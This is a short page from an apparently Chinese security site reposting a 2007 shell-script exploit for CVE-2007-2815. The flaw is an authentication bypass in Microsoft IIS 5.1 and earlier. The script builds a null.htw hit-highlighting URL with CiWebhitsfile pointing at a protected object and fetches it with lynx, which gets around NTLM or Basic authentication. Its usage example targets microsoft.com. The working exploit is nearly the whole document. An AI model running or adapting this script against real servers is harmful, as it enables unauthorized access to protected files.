Microsoft IIS <= 5.1 Hit Highlighting Authentication Bypass Exploit
|
来源:sha0[at]badchecksum.net 作者:sha0 发布时间:2007-06-04
|
|
#!/bin/sh # # NTLM && BASIC AUTH BYPASS :) # # sha0[at]badchecksum.net # Based on my adv: http://www.securityfocus.com/bid/24105/info (CVE-2007-2815)
if [ $# != 2 ] then printf "USAGE:\t\t$0 <Site> <Protected Object>\nExample:\t$0 http://www.microsoft.com /en/us/default.aspx\n\n"; exit 0 fi
site=$1 protectedObject=$2 evil=$site'/shao/null.htw?CiWebhitsfile='$protectedObject'&CiRestriction=b&CiHiliteType=full' lynx -dump $evil
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|